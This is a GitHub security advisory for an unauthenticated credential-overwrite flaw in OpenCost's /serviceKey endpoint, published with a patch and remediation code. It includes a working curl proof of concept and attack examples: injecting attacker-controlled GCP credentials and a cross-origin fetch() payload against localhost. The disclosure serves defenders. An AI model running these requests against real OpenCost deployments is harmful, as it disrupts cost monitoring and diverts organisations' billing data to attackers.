Skip to content

OpenCost ServiceKey Endpoint Unauthorized Credential Overwrite/Injection

High severity GitHub Reviewed Published Jul 14, 2026 in opencost/opencost • Updated Jul 14, 2026

Package

gomod github.com/opencost/opencost (Go)

Affected versions

< 1.119.1

Patched versions

1.119.1

Description

Summary

OpenCost contains an unauthenticated file write vulnerability in the /serviceKey endpoint that allows remote attackers to overwrite the GCP service account key file without authentication. This can lead to service disruption, credential theft, and potential privilege escalation within Kubernetes clusters.


Affected Versions

  • OpenCost: All versions up to and including the latest release
  • Vulnerable File: pkg/costmodel/router.go (lines 365-379)
  • Vulnerable Endpoint: POST /serviceKey

Vulnerability Details

Root Cause

The AddServiceKey function in pkg/costmodel/router.go accepts user-supplied data via POST request and writes it directly to a file without any authentication or input validation:

func (a *Accesses) AddServiceKey(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {
    w.Header().Set("Content-Type", "application/json")
    w.Header().Set("Access-Control-Allow-Origin", "*")  // Overly permissive CORS

    r.ParseForm()

    key := r.PostForm.Get("key")  // User-controlled input, no validation
    k := []byte(key)
    err := os.WriteFile(env.GetGCPAuthSecretFilePath(), k, 0644)  //  Direct file write
    if err != nil {
        fmt.Fprintf(w, "Error writing service key: %s", err)
    }

    w.WriteHeader(http.StatusOK)
}

File Path Determination (core/pkg/env/core.go):

func GetGCPAuthSecretFilePath() string {
    return GetPathFromConfig("key.json")
}

func GetPathFromConfig(fileName string) string {
    return filepath.Join(GetConfigPath(), fileName)
}

func GetConfigPath() string {
    return Get(ConfigPathEnvVar, DefaultConfigPath)  // Default: /var/configs
}

Security Issues

  1. No Authentication: Any network-accessible client can invoke the endpoint
  2. No Input Validation: User input is not validated as a valid GCP service account key
  3. Overly Permissive CORS: Access-Control-Allow-Origin: * allows cross-origin attacks
  4. Predictable File Path: File location controlled by CONFIG_PATH environment variable

Proof of Concept

Environment Setup

Prerequisites

  • Kubernetes cluster (tested on kind v1.30.0)
  • Helm 3.x
  • kubectl configured

Step 1: Create Namespace

kubectl create namespace opencost

Output:

namespace/opencost created

Step 2: Add OpenCost Helm Repository

helm repo add opencost https://opencost.github.io/opencost-helm-chart
helm repo update

Output:

"opencost" has been added to your repositories
Hang tight while we grab the latest from your chart repositories...
...Successfully got an update from the "opencost" chart repository
Update Complete. Happy Helming!

Step 3: Deploy OpenCost

helm install opencost opencost/opencost --namespace opencost \
  --set opencost.exporter.defaultClusterId=test-cluster \
  --set opencost.prometheus.internal.enabled=true \
  --set opencost.prometheus.internal.serviceName=kube-prometheus-stack-prometheus \
  --set opencost.prometheus.internal.namespaceName=monitoring \
  --set opencost.prometheus.internal.port=9090 \
  --set-string 'opencost.exporter.extraEnv.CONFIG_PATH=/tmp'

Key Configuration:

  • CONFIG_PATH=/tmp: Sets writable directory for file operations

Output:

NAME: opencost
LAST DEPLOYED: Sun Jan 18 00:39:21 2026
NAMESPACE: opencost
STATUS: deployed
REVISION: 1

Step 4: Verify Deployment

kubectl get pods -l app.kubernetes.io/instance=opencost -n opencost

Output:

NAME                      READY   STATUS    RESTARTS   AGE
opencost-db97bbcc-5q8cb   2/2     Running   0          44s

Step 5: Verify Service Accessibility

kubectl run curl-test --image=curlimages/curl --rm -i --restart=Never -- \
  curl -v http://opencost.opencost.svc.cluster.local:9003/healthz

Output:

< HTTP/1.1 200 OK
< Vary: Origin
< Date: Sat, 17 Jan 2026 16:32:07 GMT
< Content-Length: 0

Exploitation

Step 6: Check Initial State

kubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- cat /tmp/key.json

Output:

cat: can't open '/tmp/key.json': No such file or directory

Note: File does not exist initially

Step 7: Verify CONFIG_PATH Configuration

kubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- env | grep CONFIG_PATH

Output:

CONFIG_PATH=/tmp

Note: CONFIG_PATH correctly set to /tmp

Step 8: Execute Exploit

MALICIOUS_CONTENT='{"type":"VULNERABILITY_PROOF","vuln_id":"VUL-002","timestamp":"2026-01-18T00:41:00Z","message":"Arbitrary file write without authentication - SUCCESSFUL","injected_by":"security_researcher","evidence":"This proves the vulnerability exists"}'

kubectl run vuln-exploit --image=curlimages/curl --rm -i --restart=Never -- \
  curl -X POST http://opencost.opencost.svc.cluster.local:9003/serviceKey \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "key=${MALICIOUS_CONTENT}" \
  -v

Request Details:

> POST /serviceKey HTTP/1.1
> Host: opencost.opencost.svc.cluster.local:9003
> User-Agent: curl/8.18.0
> Accept: */*
> Content-Type: application/x-www-form-urlencoded
> Content-Length: 244

Response Details:

< HTTP/1.1 200 OK
< Access-Control-Allow-Origin: *
< Content-Type: application/json
< Vary: Origin
< Date: Sat, 17 Jan 2026 16:42:29 GMT
< Content-Length: 0

Result: HTTP 200 OK - Request successful without authentication

Step 9: Verify File Write

kubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- cat /tmp/key.json

Output:

{"type":"VULNERABILITY_PROOF","vuln_id":"VUL-002","timestamp":"2026-01-18T00:41:00Z","message":"Arbitrary file write without authentication - SUCCESSFUL","injected_by":"security_researcher","evidence":"This proves the vulnerability exists"}

Result: VULNERABILITY CONFIRMED - Malicious content successfully written to file


Impact Analysis

Direct Impact

Impact Type Severity Description
Unauthorized Credential Overwrite High Attacker can overwrite GCP service account key file content
No Authentication Required High Vulnerability can be exploited without any credentials
CORS Misconfiguration Medium Allows cross-origin attacks via malicious websites
Fixed File Path Low Attacker cannot control write location, only content

Attack Scenario Analysis

Scenario 1: GCP Credential Overwrite Leading to Service Disruption

Attack Steps:

  1. Attacker sends POST request with invalid JSON or malformed GCP key
  2. /serviceKey endpoint accepts request and overwrites existing key.json file
  3. OpenCost attempts to access GCP API with corrupted credentials
  4. GCP integration fails, cost data collection stops

Technical Details:

# Attack payload example
curl -X POST http://opencost:9003/serviceKey \
  -d 'key={"invalid":"json","corrupted":"credentials"}'

Impact:

  • Cost Monitoring Disruption: Unable to retrieve GCP cloud cost data
  • Operational Impact: FinOps processes dependent on cost data are blocked
  • Availability Degradation: Manual intervention required to restore correct credentials

CVSS Impact Score: Availability impact is Low (A:L)


Scenario 2: Malicious Credential Injection for Data Hijacking

Attack Steps:

  1. Attacker creates their own GCP project and service account
  2. Injects attacker-controlled valid GCP credentials into OpenCost
  3. OpenCost uses attacker's credentials to send requests to GCP Billing API
  4. Target organization's cost data is sent to attacker's GCP project

Technical Details:

# Inject attacker credentials
ATTACKER_KEY='{
  "type": "service_account",
  "project_id": "attacker-billing-project",
  "private_key": "-----BEGIN PRIVATE KEY-----\n...\n-----END PRIVATE KEY-----\n",
  "client_email": "opencost-hijack@attacker-project.iam.gserviceaccount.com"
}'

curl -X POST http://opencost:9003/serviceKey -d "key=${ATTACKER_KEY}"

Impact:

  • Sensitive Data Leakage: Organization's cloud resource usage patterns and cost details
  • Business Intelligence Leakage: Can infer business scale, growth trends, technology stack
  • Compliance Risk: Cost data may contain protected business information

Data Leakage Examples:

  • Kubernetes cluster size and node configuration
  • Resource consumption per namespace (can map to business units)
  • Cloud service usage patterns (databases, storage, compute instance types)
  • Cost trends (can infer business growth or contraction)

CVSS Impact Score: Confidentiality impact is None (C:N), but business impact is High


Scenario 3: Cross-Origin Attack (CORS Exploitation)

Attack Steps:

  1. User visits attacker-controlled malicious website
  2. Malicious JavaScript sends POST request to http://localhost:9003/serviceKey
  3. Due to CORS set to *, browser allows cross-origin request
  4. User's browser acts as proxy to execute credential overwrite attack

Prerequisites:

  • User exposes OpenCost service via kubectl port-forward or other means
  • User's browser can access OpenCost endpoint

Technical Details:

// JavaScript on malicious website
fetch('http://localhost:9003/serviceKey', {
  method: 'POST',
  headers: {'Content-Type': 'application/x-www-form-urlencoded'},
  body: 'key={"type":"malicious"}'
});

Impact:

  • User-Unaware Attack: No active user interaction required
  • Difficult to Trace: Attack originates from victim's IP address
  • Limited Exploitation Conditions: Requires OpenCost exposed to user-accessible network

Vulnerability Limitations

What Attacker Cannot Control:

  • File Write Path: Fixed by CONFIG_PATH environment variable, attacker cannot modify
  • File Name: Fixed as key.json, cannot write to other files
  • File Permissions: Write permission is 0644, attacker cannot escalate

Actual Attack Capabilities:

  • File Content Control: Complete control over key.json content
  • Unauthenticated Exploitation: No credentials required to trigger
  • Remote Accessibility: Can be exploited over network (if service exposed)

Real-World Impact Assessment

Deployment Scenario Risk Level Description
Cluster-Internal Only Medium Requires attacker to have cluster network access
Exposed via Ingress High Any internet user can exploit
Exposed via NodePort High Attackers with node network access can exploit
Via port-forward Medium-High Local dev environments vulnerable to CORS attacks

Recommended Risk Rating:

  • Default deployment (cluster-internal): Medium
  • Improperly exposed (public internet): High

Remediation

Immediate Actions (P0)

1. Add Authentication

func (a *Accesses) AddServiceKey(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {
    // Add authentication check
    if !a.isAuthorized(r) {
        http.Error(w, "Unauthorized", http.StatusUnauthorized)
        return
    }

    // ... existing logic
}

2. Implement Input Validation

func validateServiceKey(key string) error {
    var keyData map[string]interface{}
    if err := json.Unmarshal([]byte(key), &keyData); err != nil {
        return fmt.Errorf("invalid JSON format")
    }

    requiredFields := []string{"type", "project_id", "private_key_id", "private_key"}
    for _, field := range requiredFields {
        if _, ok := keyData[field]; !ok {
            return fmt.Errorf("missing required field: %s", field)
        }
    }

    if keyData["type"] != "service_account" {
        return fmt.Errorf("invalid key type")
    }

    return nil
}

3. Restrict CORS

w.Header().Set("Access-Control-Allow-Origin", os.Getenv("ALLOWED_ORIGIN"))

Long-term Solutions (P1)

  1. Use Kubernetes Secrets: Store credentials in Kubernetes Secrets instead of files
  2. Implement RBAC: Role-based access control for sensitive operations
  3. Add Audit Logging: Log all file write operations
  4. Apply Least Privilege: Minimize ClusterRole permissions

Workarounds

Until a patch is available, implement these mitigations:

  1. Network Segmentation: Restrict access to OpenCost service using NetworkPolicies
  2. Disable Endpoint: Remove or disable the /serviceKey endpoint if not required
  3. Monitor File Changes: Alert on modifications to key.json file
  4. Use Read-only Filesystem: Mount config directory as read-only where possible

References

References

@ameijer ameijer published to opencost/opencost Jul 14, 2026
Published to the GitHub Advisory Database Jul 14, 2026
Reviewed Jul 14, 2026
Last updated Jul 14, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N

EPSS score

Weaknesses

Improper Input Validation

The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. Learn more on MITRE.

Use of Password System for Primary Authentication

The use of password systems as the primary means of authentication may be subject to several flaws or shortcomings, each reducing the effectiveness of the mechanism. Learn more on MITRE.

CVE ID

CVE-2026-44300

GHSA ID

GHSA-wmj8-9953-vff5

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.